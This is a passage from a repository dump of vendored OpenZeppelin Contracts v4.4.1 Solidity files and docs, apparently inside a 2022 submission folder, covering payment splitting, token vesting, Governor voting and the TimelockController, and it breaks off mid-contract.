function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/finance/README.adoc
================================================
= Finance
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/finance
This directory includes primitives for financial systems:
- {PaymentSplitter} allows to split Ether and ERC20 payments among a group of accounts. The sender does not need to be
aware that the assets will be split in this way, since it is handled transparently by the contract. The split can be
in equal parts or in any other arbitrary proportion.
- {VestingWallet} handles the vesting of Ether and ERC20 tokens for a given beneficiary. Custody of multiple tokens can
be given to this contract, which will release the token to the beneficiary following a given, customizable, vesting
schedule.
== Contracts
{{PaymentSplitter}}
{{VestingWallet}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/finance/VestingWallet.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (finance/VestingWallet.sol)
pragma solidity ^0.8.0;
import "../token/ERC20/utils/SafeERC20.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
import "../utils/math/Math.sol";
/**
* @title VestingWallet
* @dev This contract handles the vesting of Eth and ERC20 tokens for a given beneficiary. Custody of multiple tokens
* can be given to this contract, which will release the token to the beneficiary following a given vesting schedule.
* The vesting schedule is customizable through the {vestedAmount} function.
*
* Any token transferred to this contract will follow the vesting schedule as if they were locked from the beginning.
* Consequently, if the vesting has already started, any amount of tokens sent to this contract will (at least partly)
* be immediately releasable.
*/
contract VestingWallet is Context {
event EtherReleased(uint256 amount);
event ERC20Released(address indexed token, uint256 amount);
uint256 private _released;
mapping(address => uint256) private _erc20Released;
address private immutable _beneficiary;
uint64 private immutable _start;
uint64 private immutable _duration;
/**
* @dev Set the beneficiary, start timestamp and vesting duration of the vesting wallet.
*/
constructor(
address beneficiaryAddress,
uint64 startTimestamp,
uint64 durationSeconds
) {
require(beneficiaryAddress != address(0), "VestingWallet: beneficiary is zero address");
_beneficiary = beneficiaryAddress;
_start = startTimestamp;
_duration = durationSeconds;
}
/**
* @dev The contract should be able to receive Eth.
*/
receive() external payable virtual {}
/**
* @dev Getter for the beneficiary address.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @dev Getter for the start timestamp.
*/
function start() public view virtual returns (uint256) {
return _start;
}
/**
* @dev Getter for the vesting duration.
*/
function duration() public view virtual returns (uint256) {
return _duration;
}
/**
* @dev Amount of eth already released
*/
function released() public view virtual returns (uint256) {
return _released;
}
/**
* @dev Amount of token already released
*/
function released(address token) public view virtual returns (uint256) {
return _erc20Released[token];
}
/**
* @dev Release the native token (ether) that have already vested.
*
* Emits a {TokensReleased} event.
*/
function release() public virtual {
uint256 releasable = vestedAmount(uint64(block.timestamp)) - released();
_released += releasable;
emit EtherReleased(releasable);
Address.sendValue(payable(beneficiary()), releasable);
}
/**
* @dev Release the tokens that have already vested.
*
* Emits a {TokensReleased} event.
*/
function release(address token) public virtual {
uint256 releasable = vestedAmount(token, uint64(block.timestamp)) - released(token);
_erc20Released[token] += releasable;
emit ERC20Released(token, releasable);
SafeERC20.safeTransfer(IERC20(token), beneficiary(), releasable);
}
/**
* @dev Calculates the amount of ether that has already vested. Default implementation is a linear vesting curve.
*/
function vestedAmount(uint64 timestamp) public view virtual returns (uint256) {
return _vestingSchedule(address(this).balance + released(), timestamp);
}
/**
* @dev Calculates the amount of tokens that has already vested. Default implementation is a linear vesting curve.
*/
function vestedAmount(address token, uint64 timestamp) public view virtual returns (uint256) {
return _vestingSchedule(IERC20(token).balanceOf(address(this)) + released(token), timestamp);
}
/**
* @dev Virtual implementation of the vesting formula. This returns the amout vested, as a function of time, for
* an asset given its total historical allocation.
*/
function _vestingSchedule(uint256 totalAllocation, uint64 timestamp) internal view virtual returns (uint256) {
if (timestamp < start()) {
return 0;
} else if (timestamp > start() + duration()) {
return totalAllocation;
} else {
return (totalAllocation * (timestamp - start())) / duration();
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/Governor.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/Governor.sol)
pragma solidity ^0.8.0;
import "../utils/cryptography/ECDSA.sol";
import "../utils/cryptography/draft-EIP712.sol";
import "../utils/introspection/ERC165.sol";
import "../utils/math/SafeCast.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
import "../utils/Timers.sol";
import "./IGovernor.sol";
/**
* @dev Core of the governance system, designed to be extended though various modules.
*
* This contract is abstract and requires several function to be implemented in various modules:
*
* - A counting module must implement {quorum}, {_quorumReached}, {_voteSucceeded} and {_countVote}
* - A voting module must implement {getVotes}
* - Additionanly, the {votingPeriod} must also be implemented
*
* _Available since v4.3._
*/
abstract contract Governor is Context, ERC165, EIP712, IGovernor {
using SafeCast for uint256;
using Timers for Timers.BlockNumber;
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,uint8 support)");
struct ProposalCore {
Timers.BlockNumber voteStart;
Timers.BlockNumber voteEnd;
bool executed;
bool canceled;
}
string private _name;
mapping(uint256 => ProposalCore) private _proposals;
/**
* @dev Restrict access to governor executing address. Some module might override the _executor function to make
* sure this modifier is consistant with the execution model.
*/
modifier onlyGovernance() {
require(_msgSender() == _executor(), "Governor: onlyGovernance");
_;
}
/**
* @dev Sets the value for {name} and {version}
*/
constructor(string memory name_) EIP712(name_, version()) {
_name = name_;
}
/**
* @dev Function to receive ETH that will be handled by the governor (disabled if executor is a third party contract)
*/
receive() external payable virtual {
require(_executor() == address(this));
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) {
return interfaceId == type(IGovernor).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IGovernor-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IGovernor-version}.
*/
function version() public view virtual override returns (string memory) {
return "1";
}
/**
* @dev See {IGovernor-hashProposal}.
*
* The proposal id is produced by hashing the RLC encoded `targets` array, the `values` array, the `calldatas` array
* and the descriptionHash (bytes32 which itself is the keccak256 hash of the description string). This proposal id
* can be produced from the proposal data which is part of the {ProposalCreated} event. It can even be computed in
* advance, before the proposal is submitted.
*
* Note that the chainId and the governor address are not part of the proposal id computation. Consequently, the
* same proposal (with same operation and same description) will have the same id if submitted on multiple governors
* accross multiple networks. This also means that in order to execute the same operation twice (on the same
* governor) the proposer will have to change the description in order to avoid proposal id conflicts.
*/
function hashProposal(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public pure virtual override returns (uint256) {
return uint256(keccak256(abi.encode(targets, values, calldatas, descriptionHash)));
}
/**
* @dev See {IGovernor-state}.
*/
function state(uint256 proposalId) public view virtual override returns (ProposalState) {
ProposalCore memory proposal = _proposals[proposalId];
if (proposal.executed) {
return ProposalState.Executed;
} else if (proposal.canceled) {
return ProposalState.Canceled;
} else if (proposal.voteStart.getDeadline() >= block.number) {
return ProposalState.Pending;
} else if (proposal.voteEnd.getDeadline() >= block.number) {
return ProposalState.Active;
} else if (proposal.voteEnd.isExpired()) {
return
_quorumReached(proposalId) && _voteSucceeded(proposalId)
? ProposalState.Succeeded
: ProposalState.Defeated;
} else {
revert("Governor: unknown proposal id");
}
}
/**
* @dev See {IGovernor-proposalSnapshot}.
*/
function proposalSnapshot(uint256 proposalId) public view virtual override returns (uint256) {
return _proposals[proposalId].voteStart.getDeadline();
}
/**
* @dev See {IGovernor-proposalDeadline}.
*/
function proposalDeadline(uint256 proposalId) public view virtual override returns (uint256) {
return _proposals[proposalId].voteEnd.getDeadline();
}
/**
* @dev Part of the Governor Bravo's interface: _"The number of votes required in order for a voter to become a proposer"_.
*/
function proposalThreshold() public view virtual returns (uint256) {
return 0;
}
/**
* @dev Amount of votes already cast passes the threshold limit.
*/
function _quorumReached(uint256 proposalId) internal view virtual returns (bool);
/**
* @dev Is the proposal successful or not.
*/
function _voteSucceeded(uint256 proposalId) internal view virtual returns (bool);
/**
* @dev Register a vote with a given support and voting weight.
*
* Note: Support is generic and can represent various things depending on the voting system used.
*/
function _countVote(
uint256 proposalId,
address account,
uint8 support,
uint256 weight
) internal virtual;
/**
* @dev See {IGovernor-propose}.
*/
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual override returns (uint256) {
require(
getVotes(msg.sender, block.number - 1) >= proposalThreshold(),
"GovernorCompatibilityBravo: proposer votes below proposal threshold"
);
uint256 proposalId = hashProposal(targets, values, calldatas, keccak256(bytes(description)));
require(targets.length == values.length, "Governor: invalid proposal length");
require(targets.length == calldatas.length, "Governor: invalid proposal length");
require(targets.length > 0, "Governor: empty proposal");
ProposalCore storage proposal = _proposals[proposalId];
require(proposal.voteStart.isUnset(), "Governor: proposal already exists");
uint64 snapshot = block.number.toUint64() + votingDelay().toUint64();
uint64 deadline = snapshot + votingPeriod().toUint64();
proposal.voteStart.setDeadline(snapshot);
proposal.voteEnd.setDeadline(deadline);
emit ProposalCreated(
proposalId,
_msgSender(),
targets,
values,
new string[](targets.length),
calldatas,
snapshot,
deadline,
description
);
return proposalId;
}
/**
* @dev See {IGovernor-execute}.
*/
function execute(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public payable virtual override returns (uint256) {
uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
ProposalState status = state(proposalId);
require(
status == ProposalState.Succeeded || status == ProposalState.Queued,
"Governor: proposal not successful"
);
_proposals[proposalId].executed = true;
emit ProposalExecuted(proposalId);
_execute(proposalId, targets, values, calldatas, descriptionHash);
return proposalId;
}
/**
* @dev Internal execution mechanism. Can be overriden to implement different execution mechanism
*/
function _execute(
uint256, /* proposalId */
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 /*descriptionHash*/
) internal virtual {
string memory errorMessage = "Governor: call reverted without message";
for (uint256 i = 0; i < targets.length; ++i) {
(bool success, bytes memory returndata) = targets[i].call{value: values[i]}(calldatas[i]);
Address.verifyCallResult(success, returndata, errorMessage);
}
}
/**
* @dev Internal cancel mechanism: locks up the proposal timer, preventing it from being re-submitted. Marks it as
* canceled to allow distinguishing it from executed proposals.
*
* Emits a {IGovernor-ProposalCanceled} event.
*/
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual returns (uint256) {
uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
ProposalState status = state(proposalId);
require(
status != ProposalState.Canceled && status != ProposalState.Expired && status != ProposalState.Executed,
"Governor: proposal not active"
);
_proposals[proposalId].canceled = true;
emit ProposalCanceled(proposalId);
return proposalId;
}
/**
* @dev See {IGovernor-castVote}.
*/
function castVote(uint256 proposalId, uint8 support) public virtual override returns (uint256) {
address voter = _msgSender();
return _castVote(proposalId, voter, support, "");
}
/**
* @dev See {IGovernor-castVoteWithReason}.
*/
function castVoteWithReason(
uint256 proposalId,
uint8 support,
string calldata reason
) public virtual override returns (uint256) {
address voter = _msgSender();
return _castVote(proposalId, voter, support, reason);
}
/**
* @dev See {IGovernor-castVoteBySig}.
*/
function castVoteBySig(
uint256 proposalId,
uint8 support,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override returns (uint256) {
address voter = ECDSA.recover(
_hashTypedDataV4(keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support))),
v,
r,
s
);
return _castVote(proposalId, voter, support, "");
}
/**
* @dev Internal vote casting mechanism: Check that the vote is pending, that it has not been cast yet, retrieve
* voting weight using {IGovernor-getVotes} and call the {_countVote} internal function.
*
* Emits a {IGovernor-VoteCast} event.
*/
function _castVote(
uint256 proposalId,
address account,
uint8 support,
string memory reason
) internal virtual returns (uint256) {
ProposalCore storage proposal = _proposals[proposalId];
require(state(proposalId) == ProposalState.Active, "Governor: vote not currently active");
uint256 weight = getVotes(account, proposal.voteStart.getDeadline());
_countVote(proposalId, account, support, weight);
emit VoteCast(account, proposalId, support, weight, reason);
return weight;
}
/**
* @dev Address through which the governor executes action. Will be overloaded by module that execute actions
* through another contract such as a timelock.
*/
function _executor() internal view virtual returns (address) {
return address(this);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/IGovernor.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/IGovernor.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/ERC165.sol";
/**
* @dev Interface of the {Governor} core.
*
* _Available since v4.3._
*/
abstract contract IGovernor is IERC165 {
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/**
* @dev Emitted when a proposal is created.
*/
event ProposalCreated(
uint256 proposalId,
address proposer,
address[] targets,
uint256[] values,
string[] signatures,
bytes[] calldatas,
uint256 startBlock,
uint256 endBlock,
string description
);
/**
* @dev Emitted when a proposal is canceled.
*/
event ProposalCanceled(uint256 proposalId);
/**
* @dev Emitted when a proposal is executed.
*/
event ProposalExecuted(uint256 proposalId);
/**
* @dev Emitted when a vote is cast.
*
* Note: `support` values should be seen as buckets. There interpretation depends on the voting module used.
*/
event VoteCast(address indexed voter, uint256 proposalId, uint8 support, uint256 weight, string reason);
/**
* @notice module:core
* @dev Name of the governor instance (used in building the ERC712 domain separator).
*/
function name() public view virtual returns (string memory);
/**
* @notice module:core
* @dev Version of the governor instance (used in building the ERC712 domain separator). Default: "1"
*/
function version() public view virtual returns (string memory);
/**
* @notice module:voting
* @dev A description of the possible `support` values for {castVote} and the way these votes are counted, meant to
* be consumed by UIs to show correct vote options and interpret the results. The string is a URL-encoded sequence of
* key-value pairs that each describe one aspect, for example `support=bravo&quorum=for,abstain`.
*
* There are 2 standard keys: `support` and `quorum`.
*
* - `support=bravo` refers to the vote options 0 = Against, 1 = For, 2 = Abstain, as in `GovernorBravo`.
* - `quorum=bravo` means that only For votes are counted towards quorum.
* - `quorum=for,abstain` means that both For and Abstain votes are counted towards quorum.
*
* NOTE: The string can be decoded by the standard
* https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams[`URLSearchParams`]
* JavaScript class.
*/
// solhint-disable-next-line func-name-mixedcase
function COUNTING_MODE() public pure virtual returns (string memory);
/**
* @notice module:core
* @dev Hashing function used to (re)build the proposal id from the proposal details..
*/
function hashProposal(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata calldatas,
bytes32 descriptionHash
) public pure virtual returns (uint256);
/**
* @notice module:core
* @dev Current state of a proposal, following Compound's convention
*/
function state(uint256 proposalId) public view virtual returns (ProposalState);
/**
* @notice module:core
* @dev Block number used to retrieve user's votes and quorum. As per Compound's Comp and OpenZeppelin's
* ERC20Votes, the snapshot is performed at the end of this block. Hence, voting for this proposal starts at the
* beginning of the following block.
*/
function proposalSnapshot(uint256 proposalId) public view virtual returns (uint256);
/**
* @notice module:core
* @dev Block number at which votes close. Votes close at the end of this block, so it is possible to cast a vote
* during this block.
*/
function proposalDeadline(uint256 proposalId) public view virtual returns (uint256);
/**
* @notice module:user-config
* @dev Delay, in number of block, between the proposal is created and the vote starts. This can be increassed to
* leave time for users to buy voting power, of delegate it, before the voting of a proposal starts.
*/
function votingDelay() public view virtual returns (uint256);
/**
* @notice module:user-config
* @dev Delay, in number of blocks, between the vote start and vote ends.
*
* NOTE: The {votingDelay} can delay the start of the vote. This must be considered when setting the voting
* duration compared to the voting delay.
*/
function votingPeriod() public view virtual returns (uint256);
/**
* @notice module:user-config
* @dev Minimum number of cast voted required for a proposal to be successful.
*
* Note: The `blockNumber` parameter corresponds to the snaphot used for counting vote. This allows to scale the
* quroum depending on values such as the totalSupply of a token at this block (see {ERC20Votes}).
*/
function quorum(uint256 blockNumber) public view virtual returns (uint256);
/**
* @notice module:reputation
* @dev Voting power of an `account` at a specific `blockNumber`.
*
* Note: this can be implemented in a number of ways, for example by reading the delegated balance from one (or
* multiple), {ERC20Votes} tokens.
*/
function getVotes(address account, uint256 blockNumber) public view virtual returns (uint256);
/**
* @notice module:voting
* @dev Returns weither `account` has cast a vote on `proposalId`.
*/
function hasVoted(uint256 proposalId, address account) public view virtual returns (bool);
/**
* @dev Create a new proposal. Vote start {IGovernor-votingDelay} blocks after the proposal is created and ends
* {IGovernor-votingPeriod} blocks after the voting starts.
*
* Emits a {ProposalCreated} event.
*/
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual returns (uint256 proposalId);
/**
* @dev Execute a successful proposal. This requires the quorum to be reached, the vote to be successful, and the
* deadline to be reached.
*
* Emits a {ProposalExecuted} event.
*
* Note: some module can modify the requirements for execution, for example by adding an additional timelock.
*/
function execute(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public payable virtual returns (uint256 proposalId);
/**
* @dev Cast a vote
*
* Emits a {VoteCast} event.
*/
function castVote(uint256 proposalId, uint8 support) public virtual returns (uint256 balance);
/**
* @dev Cast a with a reason
*
* Emits a {VoteCast} event.
*/
function castVoteWithReason(
uint256 proposalId,
uint8 support,
string calldata reason
) public virtual returns (uint256 balance);
/**
* @dev Cast a vote using the user cryptographic signature.
*
* Emits a {VoteCast} event.
*/
function castVoteBySig(
uint256 proposalId,
uint8 support,
uint8 v,
bytes32 r,
bytes32 s
) public virtual returns (uint256 balance);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/README.adoc
================================================
= Governance
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/governance
This directory includes primitives for on-chain governance.
== Governor
This modular system of Governor contracts allows the deployment on-chain voting protocols similar to https://compound.finance/docs/governance[Compound's Governor Alpha & Bravo] and beyond, through the ability to easily customize multiple aspects of the protocol.
[TIP]
====
For a guided experience, set up your Governor contract using https://wizard.openzeppelin.com/#governor[Contracts Wizard].
For a written walkthrough, check out our guide on xref:ROOT:governance.adoc[How to set up on-chain governance].
====
* {Governor}: The core contract that contains all the logic and primitives. It is abstract and requires choosing one of each of the modules below, or custom ones.
Votes modules determine the source of voting power, and sometimes quorum number.
* {GovernorVotes}: Extracts voting weight from an {ERC20Votes} token.
* {GovernorVotesComp}: Extracts voting weight from a COMP-like or {ERC20VotesComp} token.
* {GovernorVotesQuorumFraction}: Combines with `GovernorVotes` to set the quorum as a fraction of the total token supply.
Counting modules determine valid voting options.
* {GovernorCountingSimple}: Simple voting mechanism with 3 voting options: Against, For and Abstain.
Timelock extensions add a delay for governance decisions to be executed. The workflow is extended to require a `queue` step before execution. With these modules, proposals are executed by the external timelock contract, thus it is the timelock that has to hold the assets that are being governed.
* {GovernorTimelockControl}: Connects with an instance of {TimelockController}. Allows multiple proposers and executors, in addition to the Governor itself.
* {GovernorTimelockCompound}: Connects with an instance of Compound's https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol[`Timelock`] contract.
Other extensions can customize the behavior or interface in multiple ways.
* {GovernorCompatibilityBravo}: Extends the interface to be fully `GovernorBravo`-compatible. Note that events are compatible regardless of whether this extension is included or not.
* {GovernorSettings}: Manages some of the settings (voting delay, voting period duration, and proposal threshold) in a way that can be updated through a governance proposal, without requiering an upgrade.
In addition to modules and extensions, the core contract requires a few virtual functions to be implemented to your particular specifications:
* <>: Delay (in number of blocks) since the proposal is submitted until voting power is fixed and voting starts. This can be used to enforce a delay after a proposal is published for users to buy tokens, or delegate their votes.
* <>: Delay (in number of blocks) since the proposal starts until voting ends.
* <>: Quorum required for a proposal to be successful. This function includes a `blockNumber` argument so the quorum can adapt through time, for example, to follow a token's `totalSupply`.
NOTE: Functions of the `Governor` contract do not include access control. If you want to restrict access, you should add these checks by overloading the particular functions. Among these, {Governor-_cancel} is internal by default, and you will have to expose it (which the right access control mechanism) yourself if this function is needed.
=== Core
{{IGovernor}}
{{Governor}}
=== Modules
{{GovernorCountingSimple}}
{{GovernorVotes}}
{{GovernorVotesQuorumFraction}}
{{GovernorVotesComp}}
=== Extensions
{{GovernorTimelockControl}}
{{GovernorTimelockCompound}}
{{GovernorSettings}}
{{GovernorCompatibilityBravo}}
=== Deprecated
{{GovernorProposalThreshold}}
== Timelock
In a governance system, the {TimelockController} contract is in charge of introducing a delay between a proposal and its execution. It can be used with or without a {Governor}.
{{TimelockController}}
[[timelock-terminology]]
==== Terminology
* *Operation:* A transaction (or a set of transactions) that is the subject of the timelock. It has to be scheduled by a proposer and executed by an executor. The timelock enforces a minimum delay between the proposition and the execution (see xref:access-control.adoc#operation_lifecycle[operation lifecycle]). If the operation contains multiple transactions (batch mode), they are executed atomically. Operations are identified by the hash of their content.
* *Operation status:*
** *Unset:* An operation that is not part of the timelock mechanism.
** *Pending:* An operation that has been scheduled, before the timer expires.
** *Ready:* An operation that has been scheduled, after the timer expires.
** *Done:* An operation that has been executed.
* *Predecessor*: An (optional) dependency between operations. An operation can depend on another operation (its predecessor), forcing the execution order of these two operations.
* *Role*:
** *Admin:* An address (smart contract or EOA) that is in charge of granting the roles of Proposer and Executor.
** *Proposer:* An address (smart contract or EOA) that is in charge of scheduling (and cancelling) operations.
** *Executor:* An address (smart contract or EOA) that is in charge of executing operations once the timelock has expired. This role can be given to the zero address to allow anyone to execute operations.
[[timelock-operation]]
==== Operation structure
Operation executed by the xref:api:governance.adoc#TimelockController[`TimelockController`] can contain one or multiple subsequent calls. Depending on whether you need to multiple calls to be executed atomically, you can either use simple or batched operations.
Both operations contain:
* *Target*, the address of the smart contract that the timelock should operate on.
* *Value*, in wei, that should be sent with the transaction. Most of the time this will be 0. Ether can be deposited before-end or passed along when executing the transaction.
* *Data*, containing the encoded function selector and parameters of the call. This can be produced using a number of tools. For example, a maintenance operation granting role `ROLE` to `ACCOUNT` can be encode using web3js as follows:
```javascript
const data = timelock.contract.methods.grantRole(ROLE, ACCOUNT).encodeABI()
```
* *Predecessor*, that specifies a dependency between operations. This dependency is optional. Use `bytes32(0)` if the operation does not have any dependency.
* *Salt*, used to disambiguate two otherwise identical operations. This can be any random value.
In the case of batched operations, `target`, `value` and `data` are specified as arrays, which must be of the same length.
[[timelock-operation-lifecycle]]
==== Operation lifecycle
Timelocked operations are identified by a unique id (their hash) and follow a specific lifecycle:
`Unset` -> `Pending` -> `Pending` + `Ready` -> `Done`
* By calling xref:api:governance.adoc#TimelockController-schedule-address-uint256-bytes-bytes32-bytes32-uint256-[`schedule`] (or xref:api:governance.adoc#TimelockController-scheduleBatch-address---uint256---bytes---bytes32-bytes32-uint256-[`scheduleBatch`]), a proposer moves the operation from the `Unset` to the `Pending` state. This starts a timer that must be longer than the minimum delay. The timer expires at a timestamp accessible through the xref:api:governance.adoc#TimelockController-getTimestamp-bytes32-[`getTimestamp`] method.
* Once the timer expires, the operation automatically gets the `Ready` state. At this point, it can be executed.
* By calling xref:api:governance.adoc#TimelockController-TimelockController-execute-address-uint256-bytes-bytes32-bytes32-[`execute`] (or xref:api:governance.adoc#TimelockController-executeBatch-address---uint256---bytes---bytes32-bytes32-[`executeBatch`]), an executor triggers the operation's underlying transactions and moves it to the `Done` state. If the operation has a predecessor, it has to be in the `Done` state for this transition to succeed.
* xref:api:governance.adoc#TimelockController-TimelockController-cancel-bytes32-[`cancel`] allows proposers to cancel any `Pending` operation. This resets the operation to the `Unset` state. It is thus possible for a proposer to re-schedule an operation that has been cancelled. In this case, the timer restarts when the operation is re-scheduled.
Operations status can be queried using the functions:
* xref:api:governance.adoc#TimelockController-isOperationPending-bytes32-[`isOperationPending(bytes32)`]
* xref:api:governance.adoc#TimelockController-isOperationReady-bytes32-[`isOperationReady(bytes32)`]
* xref:api:governance.adoc#TimelockController-isOperationDone-bytes32-[`isOperationDone(bytes32)`]
[[timelock-roles]]
==== Roles
[[timelock-admin]]
===== Admin
The admins are in charge of managing proposers and executors. For the timelock to be self-governed, this role should only be given to the timelock itself. Upon deployment, both the timelock and the deployer have this role. After further configuration and testing, the deployer can renounce this role such that all further maintenance operations have to go through the timelock process.
This role is identified by the *TIMELOCK_ADMIN_ROLE* value: `0x5f58e3a2316349923ce3780f8d587db2d72378aed66a8261c916544fa6846ca5`
[[timelock-proposer]]
===== Proposer
The proposers are in charge of scheduling (and cancelling) operations. This is a critical role, that should be given to governing entities. This could be an EOA, a multisig, or a DAO.
WARNING: *Proposer fight:* Having multiple proposers, while providing redundancy in case one becomes unavailable, can be dangerous. As proposer have their say on all operations, they could cancel operations they disagree with, including operations to remove them for the proposers.
This role is identified by the *PROPOSER_ROLE* value: `0xb09aa5aeb3702cfd50b6b62bc4532604938f21248a27a1d5ca736082b6819cc1`
[[timelock-executor]]
===== Executor
The executors are in charge of executing the operations scheduled by the proposers once the timelock expires. Logic dictates that multisig or DAO that are proposers should also be executors in order to guarantee operations that have been scheduled will eventually be executed. However, having additional executors can reduce the cost (the executing transaction does not require validation by the multisig or DAO that proposed it), while ensuring whoever is in charge of execution cannot trigger actions that have not been scheduled by the proposers. Alternatively, it is possible to allow _any_ address to execute a proposal once the timelock has expired by granting the executor role to the zero address.
This role is identified by the *EXECUTOR_ROLE* value: `0xd8aa0f3194971a2a116679f7c2090f6939c8d4e01a2a8d7e41d55e5351469e63`
WARNING: A live contract without at least one proposer and one executor is locked. Make sure these roles are filled by reliable entities before the deployer renounces its administrative rights in favour of the timelock contract itself. See the {AccessControl} documentation to learn more about role management.
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/TimelockController.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/TimelockController.sol)
pragma solidity ^0.8.0;
import "../access/AccessControl.sol";
/**
* @dev Contract module which acts as a timelocked controller. When set as the
* owner of an `Ownable` smart contract, it enforces a timelock on all
* `onlyOwner` maintenance operations. This gives time for users of the
* controlled contract to exit before a potentially dangerous maintenance
* operation is applied.
*
* By default, this contract is self administered, meaning administration tasks
* have to go through the timelock process. The proposer (resp executor) role
* is in charge of proposing (resp executing) operations. A common use case is
* to position this {TimelockController} as the owner of a smart contract, with
* a multisig or a DAO as the sole proposer.
*
* _Available since v3.3._
*/
contract TimelockController is AccessControl {
bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");
bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
uint256 internal constant _DONE_TIMESTAMP = uint256(1);
mapping(bytes32 => uint256) private _timestamps;
uint256 private _minDelay;
/**
* @dev Emitted when a call is scheduled as part of operation `id`.
*/
event CallScheduled(
bytes32 indexed id,
uint256 indexed index,
address target,
uint256 value,
bytes data,
bytes32 predecessor,
uint256 delay
);
/**
* @dev Emitted when a call is performed as part of operation `id`.
*/
event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data);
/**
* @dev Emitted when operation `id` is cancelled.
*/
event Cancelled(bytes32 indexed id);
/**
* @dev Emitted when the minimum delay for future operations is modified.
*/
event MinDelayChange(uint256 oldDuration, uint256 newDuration);
/**
* @dev Initializes the contract with a given `minDelay`.
*/
constructor(
uint256 minDelay,
address[] memory proposers,
address[] memory executors
) {
_setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE);
// deployer + self administration
_setupRole(TIMELOCK_ADMIN_ROLE, _msgSender());
_setupRole(TIMELOCK_ADMIN_ROLE, address(this));
// register proposers
for (uint256 i = 0; i < proposers.length; ++i) {
_setupRole(PROPOSER_ROLE, proposers[i]);
}
// register executors
for (uint256 i = 0; i < executors.length; ++i) {
_setupRole(EXECUTOR_ROLE, executors[i]);
}
_minDelay = minDelay;
emit MinDelayChange(0, minDelay);
}
/**
* @dev Modifier to make a function callable only by a certain role. In
* addition to checking the sender's role, `address(0)` 's role is also
* considered. Granting a role to `address(0)` is equivalent to enabling
* this role for everyone.
*/
modifier onlyRoleOrOpenRole(bytes32 role) {
if (!hasRole(role, address(0))) {
_checkRole(role, _msgSender());
}
_;
}
/**
* @dev Contract might receive/hold ETH as part of the maintenance process.
*/
receive() external payable {}
/**
* @dev Returns whether an id correspond to a registered operation. This
* includes both Pending, Ready and Done operations.
*/
function isOperation(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > 0;
}
/**
* @dev Returns whether an operation is pending or not.
*/
function isOperationPending(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > _DONE_TIMESTAMP;
}
/**
* @dev Returns whether an operation is ready or not.
*/
function isOperationReady(bytes32 id) public view virtual returns (bool ready) {
uint256 timestamp = getTimestamp(id);
return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp;
}
/**
* @dev Returns whether an operation is done or not.
*/
function isOperationDone(bytes32 id) public view virtual returns (bool done) {
return getTimestamp(id) == _DONE_TIMESTAMP;
}
/**
* @dev Returns the timestamp at with an operation becomes ready (0 for
* unset operations, 1 for done operations).
*/
function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) {
return _timestamps[id];
}
/**
* @dev Returns the minimum delay for an operation to become valid.
*
* This value can be changed by executing an operation that calls `updateDelay`.
*/
function getMinDelay() public view virtual returns (uint256 duration) {
